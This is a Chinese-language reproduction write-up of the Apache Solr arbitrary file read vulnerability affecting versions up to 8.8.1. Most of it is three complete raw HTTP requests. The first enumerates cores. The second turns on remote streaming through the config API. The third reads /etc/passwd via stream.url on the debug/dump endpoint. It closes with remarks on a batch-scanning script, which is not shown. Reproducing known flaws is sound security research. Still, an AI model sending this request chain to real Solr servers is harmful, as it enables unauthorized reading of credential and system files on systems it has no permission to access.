Apache Solr任意文件读取漏洞复现
一、简介
Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。
Apache-Solr任意文件读取漏洞漏洞,攻击者可以在未授权的情况下读取目标服务器敏感文件和相关内容。
二、影响版本
Apache Solr <= 8.8.1
三、漏洞复现
安装:
Solr下载地址:自行下载对应满足版本http://archive.apache.org/dist/lucene/solr/
访问页面
第一步:获取core的信息:主要是name
http://xxx.xxx.xxx.xxx/solr/admin/cores?indexInfo=false&wt=json
详细数据包
GET /solr/admin/cores?indexInfo=false&wt=json HTTP/1.1 Host: 127.0.0.1:8983 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Connection: close
第二步:判断是否存在漏洞:返回200并且包含This response format is experimental. It is likely to change in the future 可能存在,需要进一步的去读取/etc/passwd或者其他进行确认最终是否存在读取漏洞
详细数据包:
POST /solr/tesla/config HTTP/1.1 Host: 127.0.0.1:8983 Content-Length: 80 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://127.0.0.1:8983 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://127.0.0.1:8983/solr/tesla/config Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6 Connection: close {"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
第三步:读取文件/etc/passwd:
详细数据包:
POST /solr/tesla/debug/dump?param=ContentStreams HTTP/1.1 Host: 127.0.0.1:8983 Content-Length: 29 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://127.0.0.1:8983 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://127.0.0.1:8983/solr/tesla/config Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6 Connection: close stream.url=file:///etc/passwd
编写检测脚本:
显示读取内容:
直接跑存在不现实读取内容:
批量出来效果还是不错的
